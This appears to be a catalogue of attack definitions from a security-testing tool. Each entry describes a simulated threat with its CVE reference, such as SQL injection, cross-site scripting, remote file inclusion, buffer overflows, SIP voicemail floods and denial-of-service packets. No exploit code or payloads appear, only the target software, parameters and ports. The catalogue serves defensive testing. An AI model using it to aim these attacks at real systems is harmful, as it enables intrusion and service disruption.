Detailed Description:	This threat sends out a SIP INVITE message with the Request-URI header filled with garbage. This may confuse or crash a PBX that isn't very robust. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	sipvoicemailon.xml
Executive Description:	SIP Voicemail Alert
Detailed Description:	This threat sends out a SIP message to a phone informing it that it has voicemail. Sending this threat to a large number of phones at once can confuse many users and overwhelm both the voicemail system and tech support.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	sunshop4_rfi_IPv6.xml
Executive Description:	sunshop 4 (index.php) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. SunShop is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2070
Threat Package:	Standard
Threat File Name:	hivemail_xss.xml
Executive Description:	HiveMail XSS Vulnerability
Detailed Description:	This threat is an example of a cross-site scripting attack where the code is injected via the HiveMail index.php. HiveMail is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0758
Threat File Name:	phpfusion_dbdl.xml
Executive Description:	PHPFusion Database Download
Detailed Description:	This threat attempts to download the stored database dump of PHPFusion. This application stores a backup of the database in a predictable location with a predictable name. PHPFusion is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2004-1724
OSVDB:	9032
Threat Package:	Standard
Threat File Name:	wmp_mp4_bof_IPv6.xml
Executive Description:	Windows Media Player 6.4 MP4 File Stack Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malformed mp4 file to Demonstrate a buffer overflow in Microsoft Windows Media player. This threat is delivered via web page listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	ravware_activex_bof_IPv6.xml
Executive Description:	RavWare Software MAS Flic Control Remote Buffer Overflow Vulnerability (IPv6 Version)

Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in RavWare Software MAS Flic ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-6516
Threat Package:	Standard
Threat File Name:	safari_windows_cmi_IPv6.xml
Executive Description:	Safari 3 for Windows Beta Remote Command Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a flaw in Apple Safari for Windows that allows for execution of arbitrary commands via shell metacharacters in a URI in the SRC of an IFRAME embedded in a web page. This attack is delivered via port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3186
Threat Package:	Standard
Threat File Name:	andonet_blog_sqli.xml
Executive Description:	AndoNET Blog SQL injection in comentarios.php via the "entrada" variable.
Detailed Description:	This threat sends a crafted url containing an arbitrary SQL query which is executed by the server. Ando Blog is a web based application that typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	slmail.xml
Executive Description:	SLMail HELO Buffer Overflow
Detailed Description:	This threat takes advantage of a buffer overflow in versions of SLMail. This threat works on port 25 of the vulnerable versions of the software, however due to the nature of the attack, other SMTP capable servers might be vulnerable as well.
Protocol Type:	SMTP
CVEID:	CVE-1999-0231
Threat Package:	Standard
Threat File Name:	iprimal_cmi.xml
Executive Description:	IPrimal Forums Index.PHP Authentication Bypass Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.iPrimal Forums is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5787
Threat Package:	Standard
Threat File Name:	ciscoMalSNMP.xml
Executive Description:	Cisco Malformed SNMPv1 Message Denial of Service
Detailed Description:	This threat creates a malformed SNMPv1 request which causes the Cisco device under test to reboot or require a manual reset.
Protocol Type:	SNMP
CVEID:	CVE-2002-0013
OSVDB:	810
Threat Package:	Standard
Threat File Name:	fuzz-IP_HeaderChecksum.xml
Executive Description:	Fuzzer for Protocol:IP and Field:HeaderChecksum
Detailed Description:	
Protocol Type:	IP
Threat Package:	Fuzzing
Threat File Name:	FSC20070213-12_Microsoft_Internet_Explorer_COM_Object_Instantiation_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer COM Object Instantiation Memory Corruption
Detailed Description:	A vulnerability in the way Microsoft Internet Explorer instantiates certain COM objects that are not designed to be used as ActiveX controls. When instantiation of such COM objects is attempted by Internet Explorer, the application memory can be corrupted as a result. Successful exploitation of this vulnerability can allow for arbitrary code execution within the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0219
Threat Package:	Standard
Threat File Name:	FSC20040825-01_Symantec_Multiple_Products_ISAKMPd_Denial_of_Service.xml
Executive Description:	Symantec Multiple Products ISAKMPd Denial of Service
Detailed Description:	A vulnerability exists in the way a component of multiple Symantec products processes ISAKMP messages. The vulnerability allows a malicious user to create a denial of service condition on the targeted service.
Protocol Type:	ISAKMP
CVEID:	CVE-2004-0369
Threat Package:	Standard
Threat File Name:	lupper16.xml
Executive Description:	Lupper Worm 16
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	FSC20060718-01_Microsoft_Internet_Explorer_WebViewFolderIcon_SetSlice_Method_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Internet Explorer WebViewFolderIcon SetSlice Method Buffer Overflow (IPv6 Version)

Detailed Description:	There exists a buffer overflow vulnerability in the WebViewFolderIcon ActiveX control used by Microsoft Internet Explorer. The flaw is due to improper validation of user supplied arguments to the SetSlice() method of the affected object. By persuading the target user to visit a malicious web site using Microsoft Internet Explorer, an attacker may execute arbitrary code on the target system with the privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3730
Threat Package:	Standard
Threat File Name:	vistabb_rfi.xml
Executive Description:	VistaBB functions_mod_user.php Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. VistaBB is a web application that typically listens on port 80
Protocol Type:	HTTP
OSVDB:	28141
Threat Package:	Standard
Threat File Name:	propfind_IPv6.xml
Executive Description:	HTTP Propfind (IPv6 Version)
Detailed Description:	This is a HTTP request used by attackers and automated tools to determine if a Windows web server is vulnerable to WebDAV based attacks. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2000-0869
OSVDB:	404
Threat Package:	Standard
Threat File Name:	ie_popup.xml
Executive Description:	IE Popup Title Bar Spoofing
Detailed Description:	This threat causes an IE popup to display the incorrect location of a website, which can be used to fool an end user into divulging sensitive information to a third party, such as usernames and logins. This issue affects all recent versions of Internet Explorer. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-0500
OSVDB:	14025
Threat Package:	Standard
Threat File Name:	savewebportal_rfi_IPv6.xml
Executive Description:	SaveWeb Portal SITE_Path Parameter Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. SaveWeb Portal is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-4012
Threat Package:	Standard
Threat File Name:	absolute_xss.xml
Executive Description:	Absolute Image Gallery XE Multiple Cross-Site Scripting Vulnerability
Detailed Description:	This threat sends a crafted url to take advantage of a flaw in Absolute Image Gallery XE which does not properly sanitize user-supplied which allows malicious users to execute code on the affected site. Absolute Image Gallery XE is a web application the typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-1411
OSVDB:	24214
Threat Package:	Standard
Threat File Name:	FSC20080103-04_Adobe_Flash_Player_ActiveX_Control_navigateToURL_Cross.xml
Executive Description:	Adobe Flash Player ActiveX Control navigateToURL Cross-Site Scripting
Detailed Description:	There exists a cross-site scripting vulnerability in the way Adobe Flash Player processes SWF files. The vulnerability is due to lack of input validation while parsing the parameter of navigateToURL function. A remote attacker can exploit this vulnerability by enticing the target user to open malicious web page embedding SWF files, potentially executing arbitrary HTML code within the context of a trusted web site.
Protocol Type:	HTTP
CVEID:	CVE-2007-6244
Threat Package:	Standard
Threat File Name:	webdrivers_simpleforum_sqli_IPv6.xml
Executive Description:	Webdrivers Simple Forum (message_details.php) SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Webdrivers Simple Forum is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5802
Threat Package:	Standard
Threat File Name:	wmailserver_bof.xml
Executive Description:	SoftiaCom WMailserver Remote Buffer Overflow Vulnerability
Detailed Description:	This threat exploits a remote buffer overflow vulnerability in the connection handling code of WMailserver. This threat exploits the SMTP server which typically listens on port 25.
Protocol Type:	SMTP
CVEID:	CVE-2005-2287
OSVDB:	17883
Threat File Name:	trend.xml
Executive Description:	Trend Micro Denial of Service
Detailed Description:	This threat sends a buffer overflow HTTP GET request aimed at a vulnerable web management service that runs on TrenMicro's Interscan Viruswall. This web management interface normally runs on port 1812.

Protocol Type:	HTTP
CVEID:	CVE-2001-0432
OSVDB:	539
Threat Package:	Standard
Threat File Name:	actsoft-dvdttools_activex_rbof_IPv6.xml
Executive Description:	ActSoft DVD-Tools (dvdtools.ocx) Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a flaw in the ActSoft DVD-Tools ActiveX control (dvdtools.ocx) to allow for the execution of arbitrary code via a long DVD_TOOLS.OpenDVD property value used in a malicious web page. ActSoft DVD-Tools ActiveX control is a plugin to Internet Explorer, a web browser that typically connects to web servers listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0976
Threat Package:	Standard
Threat File Name:	FSC20100512-06_HP_OpenView_NNM_getnnmdata_exe_CGI_Hostname_Parameter_Buffer_Overflow_IPv6.xml
Executive Description:	HP OpenView NNM getnnmdata.exe CGI Hostname Parameter Buffer Overflow(IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error in getnnmdata.exe when processing the Hostname variable sent in a crafted HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the getnnmdata.exe process. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2010-1555
Threat File Name:	sipscalarresptoolarge.xml
Executive Description:	SIPPING: Response Scalar Values Too Large
Detailed Description:	This threat sends out a SIP 503 status message with the scalar values greater than the maximum allowed for that field. This is illegal and should just be dropped. Because it is unexpected, it may also confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20040220-01_KAME_IKE_racoon_HASH_IPv6.xml
Executive Description:	KAME IKE racoon HASH (IPv6 Version)
Detailed Description:	The IKE daemon of some BSD systems (OpenBSD's isakmpd, NetBSD's racoon) has a vulnerability where sending specifically crafted IKE packets could remove an IPsec SA or all SAs. (IPv6 Version)
Protocol Type:	ISAKMP/IPv6
CVEID:	CVE-2004-0164
Threat Package:	Standard
Threat File Name:	nocc_cmi_a.xml
Executive Description:	NOCC Arbitrary Local File Inclusion \ Command Execution Vulnerability, lang field
Detailed Description:	This threat sends an HTTP query containing a path for a local (to the server) file to be included in the servers output. NOCC is a web application which typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	guestbook_xss_c_IPv6.xml
Executive Description:	Toms Guestebuch 1.00 (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. Toms Guestebuch is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	FSC20081230-05_RealNetworks_Helix_Server_RTSP_DESCRIBE_Heap_Buffer_Overflow.xml
Executive Description:	RealNetworks Helix Server RTSP DESCRIBE Heap Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the way RealNetworks Helix Server handles RTSP requests. Remote unauthenticated attackers can exploit this vulnerability by sending a malicious RTSP request with a crafted Proxy-Require to the affected server. As a result of processing the malicious command, a heap-based buffer overflow can be triggered which may result in injection and execution of arbitrary code within the security privileges of the vulnerable service on the target system. In the case of an attack, where code injection is unsuccessful, the Helix Server service will terminate, and all the connected sessions will be closed immediately. Furthermore, the functionality of all the services that depend on the vulnerable service might be affected as well. In the case where code injection was successful, the behaviour of the system will be entirely dependent on the nature of the injected code. Any code executed will be with the the security privileges of the vulnerable service, normlally System.
Protocol Type:	RTSP
CVEID:	CVE-2008-5911
Threat Package:	Standard
Threat File Name:	FSC20110412-15_Microsoft_Internet_Explorer_Object_Management_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Object Management Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error in managing objects which could lead to freeing an object twice. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1345
Threat File Name:	FSC20060711-17_Microsoft_Excel_Malformed_FNGROUPCOUNT_Value_Code_Execution_IPv6.xml
Executive Description:	Microsoft Excel Malformed FNGROUPCOUNT Value Code Execution (IPv6 Version)
Detailed Description:	There exists a code execution vulnerability in Microsoft Excel. The flaw is caused by an insufficient check of a malformed FNGROUPCOUNT Record in an Excel file. An attacker can exploit this vulnerability to inject and execute arbitrary code in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6

CVEID:	CVE-2006-1308
Threat Package:	Standard
Threat File Name:	FSC20071105-16_Apple_QuickTime_STSD_Atoms_Handling_Heap_Overflow.xml
Executive Description:	Apple QuickTime STSD Atoms Handling Heap Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Apple QuickTime. The flaw is due to boundary errors when processing the Sample Table Sample Descriptor (STSD) atom in QuickTime movie files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted QuickTime movie file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-3750
Threat Package:	Standard
Threat File Name:	ntp_readvarBoF.xml
Executive Description:	ntpd ReadVar Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the NTP daemon. This allows a remote attacker to run arbitrary shellcode on the target system. NTP typically listens on UDP port 123.
Protocol Type:	NTP
CVEID:	CVE-2001-0414
OSVDB:	536
Threat Package:	Standard
Threat File Name:	indiatimes_bof.xml
Executive Description:	Indiatimes Messenger Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the Indiatimes Messenger application. It is caused by sending a malicious website which calls the ActiveX component for the messenger software. This can lead to remote system compromise. This threat is sent from a website, which typically listens on port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-2844
OSVDB:	19108
Threat Package:	Standard
Threat File Name:	TSL20150526-14_Arcserve_Unified_Data_Protection_Management_Service_getBackupPolicy_Information_Disclosure_IPv6.xml
Executive Description:	Arcserve Unified Data Protection Management Service getBackupPolicy Information Disclosure IPv6 version.
Detailed Description:	An information disclosure vulnerability exists in Arcserve Unified Data Protection (UDP). This vulnerability exists in EdgeServiceImpl and is due to insufficient input validation of certain SOAP requests using the getBackupPolicy method. Tester should set the variable \$destPort to 8015 before test.
Protocol Type:	HTTP.IPV6
CVEID:	CVE-2015-4069
Threat File Name:	theIncluder.xml
Executive Description:	The Includer Arbitrary Command Injection
Detailed Description:	This threat attempts to execute an arbitrary command through a common CGI script that is free for download. This can allow an attacker to execute any command on the system in the context of the webserver.
Protocol Type:	HTTP
CVEID:	CVE-2005-0931
Threat Package:	Standard
Threat File Name:	Zero_Length_attack.xml
Executive Description:	Fragment Reassembly: 0 Length Fragment Flood
Detailed Description:	This threat sends multiple IP Fragments representing the first fragment of an IP packet that have no length or payload associated with them. Multiple Linux kernels and other equipment are reported as vulnerable to this attack. This attack will create a memory leak.
Protocol Type:	IP
CVEID:	CVE-1999-0431
OSVDB:	5941
Threat Package:	Standard
Threat File Name:	foxit_pdf_dos_IPv6.xml
Executive Description:	Foxit Reader Malformed PDF File Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malformed PDF file to cause a denial of service condition in the Foxit Reader pdf reader application. Foxit Reader is a client application and this threat delivers the malicious pdf via an emulated web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2186
Threat Package:	Standard
Threat File Name:	opendock_fullcore_rfi.xml
Executive Description:	OpenDock FullCore Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. OpenDock FullCore is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20071210-01_3ivx_MPEG-4_MP4_File_Handling_Stack_Overflow_IPv6.xml
Executive Description:	3ivx MPEG-4 MP4 File Handling Stack Overflow(IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in 3ivx MPEG-4. Specifically, the vulnerability is due to improper handling of MP4 files by the 3ivx MPEG-4 codec plugin. A remote attacker can exploit this vulnerability by enticing the target user to open crafted MP4 file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged in user. In a simple attack case, the affected media player application may terminate when the malicious file is opened. In a sophisticated attack scenario, where the malicious user is successful in injecting and executing supplied code, the behaviour of the system is dependent on the nature of the injected code. Any code injected into the vulnerable component would execute in the security context of the currently logged in user.

Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPv6
CVEID:	CVE-2007-6401
Threat File Name:	cmwpc_bof_IPv6.xml
Executive Description:	Chris Moneymaker's WPC Buffer Overflow (IPv6 Version)
Detailed Description:	This attack exploits a buffer overflow in the computer game Chris Moneymaker's World Poker Championship. This is caused by sending a multiplayer nickname larger than 256 bytes causing an overflow. This game typically listens on port 17573. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-2639
OSVDB:	18844
Threat Package:	Standard
Threat File Name:	TSL20130312-01_Microsoft_Internet_Explorer_onResize_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer onResize Use After Free(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is caused by a Use-After-Free error when processing script code in the onResize event handler. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-0087
OSVDB:	91138
Threat File Name:	TSL20160122-07_Schneider_Electric_ProClima_FlBookView_SetValidationRule_Memory_Corruption_IPv6.xml
Executive Description:	Schneider Electric ProClima FlBookView SetValidationRule Memory Corruption(IPv6 version)
Detailed Description:	A memory corruption vulnerability has been reported in Schneider Electric ProClima. The vulnerability is due to a buffer overrun when the SetValidationRule() method of the FlBookView ActiveX control is called.A remote, unauthenticated attacker could exploit this vulnerability by enticing a victim user to browse to a maliciously crafted web page. Successful exploitation could lead to arbitrary code execution under context of the user.
Protocol Type:	HTTPS,HTTP,IPv6
CVEID:	CVE-2015-7918
Threat File Name:	TSL20160812-02_FreePBX_Framework_Recordings_Module_Remote_Command_Execution_IPv6.xml
Executive Description:	FreePBX Framework Recordings Module Remote Command Execution (IPv6 Version)
Detailed Description:	A remote command execution vulnerability exists in FreePBX. The vulnerability is due to an input validation issue in the Recordings module. A remote unauthenticated attacker can exploit this vulnerability by sending maliciously crafted requests to the page. Successful exploitation could lead to arbitrary command execution on the server under the security context of the Asterisk user.
Protocol Type:	HTTP, IPv6
Threat File Name:	mfpiadas_rfi.xml
Executive Description:	MF Piadas 1.0 Remote File Include Vulnerability
Detailed Description:	This threat sends a specially crafted URL that would execute arbitrary code in a user's browser within the trust relationship between the browser and the server, leading to a loss of integrity. MF Piadas is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-3323
OSVDB:	26867
Threat Package:	Standard
Threat File Name:	photocart_rfi.xml
Executive Description:	PhotoCart 3.9 (adminprint.php) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PhotoCart is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-6093
Threat Package:	Standard
Threat File Name:	TSL20170411-15_Microsoft_Office_OLE2Link_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft Office OLE2Link Remote Code Execution (IPv6 Version)
Detailed Description:	A remote code execution vulnerability has been reported in the OLE component of Microsoft Office. This vulnerability is due to incorrect parsing of embedded OLE2Link objects. A remote attacker can exploit this vulnerabilities by enticing a user to open a maliciously crafted document. Successful exploitation results in arbitrary code execution under the context of the target user. This vulnerability is currently being exploited in the wild.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-0199
Threat File Name:	foing_cmi_e_IPv6.xml
Executive Description:	Foing 0.7.0 (phpBB) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat send a crafted HTTP query containing a path to an arbitrary file which is included by the server and executed via gen_m3u.phps "phpbb_root_path" parameter. Foing is a web based application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130430-09_IBM_SPSS_SamplePower_Vsflex8l_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	IBM SPSS SamplePower Vsflex8l ActiveX Control Buffer Overflow [IPv6, Version]
Detailed Description:	A global buffer overflow vulnerability exists in IBM SPSS SamplePower. The vulnerability is due to a lack of boundary checking on the user-supplied ComboList or ColComboList property value in the Vsflex8l ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious website. Successful exploitation could allow arbitrary code execution in the context of the target user.

Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-5945
OSVDB:	92844
Threat File Name:	TSL20130305-02_CoolPDF_Reader_Image_Stream_Processing_Buffer_Overflow_IPv6.xml
Executive Description:	CoolPDF Reader Image Stream Processing Buffer Overflow(IPV6 Version)
Detailed Description:	A code execution vulnerability has been reported in CoolPDF Reader. The vulnerability is due to insufficient validation of streams while processing PDF files. This can lead to a stack buffer overflow. A remote attacker can exploit this vulnerability by enticing an unsuspecting user to download and process a specially crafted PDF file, which can lead to code execution in the context of the affected application. If code execution is unsuccessful, the application may terminate abnormally
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2012-4914
OSVDB:	89349
Threat File Name:	sipvoicemailflash.xml
Executive Description:	SIP Voicemail Flash
Detailed Description:	This threat sends out SIP messages to phones alternately informing them that they have and don't have voicemail. This can cause user confusion and overwhelm tech support.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20150810-05_Mozilla_Firefox_Built_in_PDF_Viewer_Same-Origin_Policy_Bypass_IPv6.xml
Executive Description:	Mozilla Firefox Built-in PDF Viewer Same Origin Policy Bypass IPv6 version
Detailed Description:	A same-origin policy bypass vulnerability exists in Mozilla Firefox. The vulnerability is due to a design flaw in the built-in PDF Viewer. By enticing a target user to view a crafted page that contains malicious script code, an attacker can exploit this vulnerability to read and steal sensitive local files on the victim's computer.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2015-4495
Threat File Name:	ms05-038_com_IPv6.xml
Executive Description:	Internet Explorer COM Object Memory Corruption (IPv6 Version)
Detailed Description:	This threat attempts to execute shellcode through a memory corruption flaw in the way Internet Explorer instantiates certain COM objects. This threat would typically come from a webserver, which listens on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1990
OSVDB:	18612
Threat Package:	Standard
Threat File Name:	phpglossar_cmi_IPv6.xml
Executive Description:	PHPGlossar Version 0.8 <= Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PHPGlossar's add.php module is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2751
Threat Package:	Standard
Threat File Name:	TSL20150224-01_PHP_Date_Time_Object_Unserialize_Use_After_Free.xml
Executive Description:	PHP Date Time Object Unserialize Use After Free.
Detailed Description:	A code execution vulnerability has been reported in PHP. The vulnerability is due to a use-after-free error when handling serialized Date/Time objects within the unserialize() function. A remote attacker can exploit the vulnerability by sending crafted serialized data to a web application running a vulnerable version of PHP. A successful attack will result in remote code execution under the context of the service running PHP.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-0273
OSVDB:	118589
Threat File Name:	ipv6_ICMPingScan.xml
Executive Description:	IPv6 ICMP Ping Scan
Detailed Description:	This threat scans at random all IPv6 address with ICMP ping packets.
Protocol Type:	ICMP6
Threat Package:	Standard
Threat File Name:	FSC20090512-06_Microsoft_Office_PowerPoint_Legacy_File_Format_Picture_Object_Memory_Corruption.xml
Executive Description:	Microsoft Office PowerPoint Legacy File Format Picture Object Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office PowerPoint. The flaw is due to a flaw when processing picture block records in a malicious legacy format of the PowerPoint (PPT) documents. An attacker could exploit this vulnerability by persuading the target user to open a specially crafted PowerPoint document. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally, potentially resulting in loss of unsaved data.
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0223
Threat Package:	Standard
Threat File Name:	FSC20070612-10_Microsoft_Windows_Win32_API_Code_Execution_Vulnerability.xml
Executive Description:	Microsoft Windows Win32 API Code Execution Vulnerability

Detailed Description:	A vulnerability exists in the Microsoft Windows implementation of the Win32 API. The vulnerability is caused due to the lack of proper validation of API parameters. An attacker can exploit the vulnerability for code execution by manipulating an application into making API calls with malformed parameters. Any code injected into the application would be executed within the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-2219
Threat Package:	Standard
Threat File Name:	FSC20090210-10_Microsoft_Internet_Explorer_Cloned_Object_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Cloned Object Memory Corruption
Detailed Description:	A vulnerability exists in the way Internet Explorer 7 accesses an object that has been deleted, which can cause memory corruption. A remote attacker can exploit this vulnerability by enticing the target user to view a malicious HTML file. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current logged on user. In an attack case where code injection is not successful, Internet Explorer will terminate abnormally.
Protocol Type:	HTTP
CVEID:	CVE-2009-0075
Threat Package:	Standard
Threat File Name:	efiction_sqli_b.xml
Executive Description:	eFiction viewuser.php SQL Injection
Detailed Description:	This threat sends a crafted URL that contains an SQL query that is executed by the server. eFiction is an web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-4170
OSVDB:	21120
Threat File Name:	etherealSocks_IPv6.xml
Executive Description:	Ethereal SOCKS Format String Attack (IPv6 Version)
Detailed Description:	This is a format string attack targeted at the SOCKS dissector for the popular sniffing package Ethereal. This can cause remote code to be executed on the machine running the sniffer (which typically runs as root). This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	SOCKS/IPv6
CVEID:	CVE-2003-0927
OSVDB:	2752
Threat Package:	Standard
Threat File Name:	TSL20170302-09_Trend_Micro_SafeSync_for_Enterprise_rollback_Command_Injection_IPv6.xml
Executive Description:	Trend Micro SafeSync for Enterprise rollback Command Injection (IPv6 Version)
Detailed Description:	A command injection vulnerability exists in Trend Micro's SafeSync for Enterprise. The vulnerability is due to insufficient validation of the user-supplied parameter sent to the rollback end point. A remote, authenticated attacker could exploit this vulnerability by sending a crafted input to the vulnerable system. Successful exploitation could lead to arbitrary command execution under the security context of root.
Protocol Type:	HTTPS, IPv6
Threat File Name:	ms-921365_IPv6.xml
Executive Description:	Microsoft Excel Unspecified Remote Code Execution Exploit (IPv6 Version)
Detailed Description:	This server based threat delivers the unspecified excel remote execution flaw specified in microsoft advisory 921365. This malicious Excel file is delivered via HTTP which is typically carried over port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3059
Threat Package:	Standard
Threat File Name:	cisco_catalyst_3500_IPv6.xml
Executive Description:	Cisco Catalyst Remote Arbitrary Command (IPv6 Version)
Detailed Description:	This threat sends a HTTP request which corresponds to a command on a Cisco Catalyst 3500XL. Can be used to make unauthorized changes to configuration if no enable password is set. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2000-0945
OSVDB:	444
Threat Package:	Standard
Threat File Name:	ideocontent_xss_b_IPv6.xml
Executive Description:	IdeoContent Manager Index.php page Variable XSS (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page. IdeoContent Manager is a web based interface that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0463
OSVDB:	22712
Threat File Name:	TSL20120410-06_Microsoft_Internet_Explorer_VML_Use-after-free.xml
Executive Description:	Microsoft Internet Explorer VML Use-after-free
Detailed Description:	A remote code execution vulnerability exists in Microsoft's Internet Explorer. The vulnerability is due to the attempted use of an object after it has been deleted. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open an HTML document with Internet Explorer. A successful exploitation attempt could result in the execution of arbitrary code in the security context of the target user.
